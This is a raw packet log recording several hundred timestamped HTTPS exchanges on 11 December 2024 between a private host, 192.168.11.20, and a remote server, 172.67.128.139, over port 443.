Dec 11, 2024 12:44:35.871149063 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.871184111 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.871203899 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.871259928 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.871376991 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.873016119 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.873054028 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.873187065 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.873187065 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.873223066 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.873223066 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.873244047 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.873265982 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.873383999 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.875324011 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.875360966 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.875492096 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.875529051 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.875529051 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.875555992 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.875576019 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.875576019 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.875763893 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.877238035 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.877279997 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.877386093 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.877434015 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.877434015 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.877461910 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.877480984 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.877530098 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.877629042 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.879182100 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.879225969 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.879384995 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.879415035 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.879415035 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.879431009 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.879487038 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.879585981 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.881329060 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.881367922 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.881468058 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.881546974 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.881546974 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.881578922 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.881704092 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.881740093 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.881819010 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:35.882003069 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:35.927407980 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.063963890 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.063980103 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.064172029 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.064172029 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.064182997 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.064338923 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.064338923 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.064477921 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.065727949 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.065742016 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.065999031 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.066046000 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.066061020 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.066066027 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.066109896 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.066196918 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.066297054 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.067524910 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.067538023 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.067706108 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.067706108 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.067768097 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.067776918 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.067784071 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.067784071 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.067981005 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.069293022 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.069308043 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.069459915 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.069459915 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.069509029 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.069515944 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.069530010 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.069608927 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.069731951 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.071070910 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.071084976 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.071217060 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.071217060 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.071295977 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.071300983 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.071341991 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.071398020 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.071439028 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.073218107 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.073230028 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.073457956 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.073467970 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.073522091 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.073597908 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.074985981 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.075000048 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.075139999 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.075268984 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.075275898 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.075432062 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.076772928 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.076785088 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.077007055 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.077014923 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.077061892 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.077157021 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.078555107 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.078569889 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.078716040 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.078716040 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.078764915 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.078768969 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.078811884 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.078867912 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.078989029 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.080271006 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.080284119 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.080575943 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.080585003 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.080756903 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.082433939 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.082447052 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.082662106 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.082662106 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.082670927 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.082676888 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.082676888 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.082834005 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.084217072 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.084229946 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.084369898 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.084460974 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.084460974 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.084466934 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.084508896 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.084619045 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.085463047 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.086025953 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.086038113 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.086189032 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.086189032 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.086319923 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.086325884 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.086493015 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.087757111 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.087769032 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.087933064 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.087933064 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.087987900 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.087992907 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.088080883 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.088143110 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.089488029 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.089499950 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.089658976 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.089658976 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.089715958 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.089720011 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.089780092 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.089869976 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.091928005 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.091939926 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.092118979 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.092240095 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.092246056 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.092365026 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.093501091 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.093513012 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.093750954 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.093750954 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.093759060 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.093765020 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.094006062 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.095350027 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.095362902 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.095514059 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.095514059 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.095558882 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.095563889 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.095607996 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.095840931 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.097707033 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.097718954 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.097954988 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.098007917 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.098042011 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.098042011 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.098047972 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.098078966 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.098191023 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.099540949 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.099553108 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.099847078 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.099854946 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.099984884 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.101027012 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.101038933 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.101257086 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.101257086 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.101264954 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.101490974 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.102778912 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.102791071 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.103008032 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.103008032 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.103015900 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.103025913 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.103245974 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.105192900 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.105206013 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.105379105 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.105379105 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.105402946 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.105410099 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.105473995 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.105525017 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.105587006 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.107208014 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.107218027 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.107350111 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.107417107 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.107417107 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.107424021 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.107469082 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.107589960 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.108865976 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.108877897 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.109055996 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.109055996 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.109064102 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.109105110 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.109105110 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.109265089 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.110897064 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.110908985 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.111123085 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.111123085 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.111130953 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.111138105 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.111346960 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.112739086 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.112750053 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.112907887 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.112973928 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.112973928 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.112982988 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.113153934 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.114475965 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.114487886 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.114660025 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.114660025 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.114722013 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.114722013 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.114727020 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.114736080 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.114926100 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.116307020 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.116316080 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.116472006 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.116472006 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.116523981 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.116528988 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.116617918 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.116688967 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.118222952 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.118232965 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.118379116 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.118379116 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.118426085 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.118431091 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.118453026 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.118498087 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.118598938 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.120179892 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.120192051 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.120332003 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.120332003 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.120377064 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.120383978 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.120452881 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.120452881 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.120551109 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.121951103 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.121963024 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.122111082 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.122111082 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.122180939 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.122188091 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.122230053 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.122359991 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.123788118 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.123800039 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.123954058 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.123954058 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.124058962 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.124066114 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.124177933 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.125691891 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.125704050 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.125829935 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.125829935 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.125900030 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.125905991 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.125950098 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.126005888 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.126099110 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.127305031 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.127317905 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.127453089 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.127453089 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.127501965 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.127509117 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.127600908 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.127648115 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.129412889 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.129425049 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.129585028 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.129585028 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.129592896 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.129653931 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.129653931 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.129743099 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.130350113 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.130480051 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.130548954 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.130595922 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.130601883 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.130729914 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.188458920 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.306929111 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.306948900 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:36.307121992 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:36.307121992 CET	49757	443	192.168.11.20	172.67.128.139
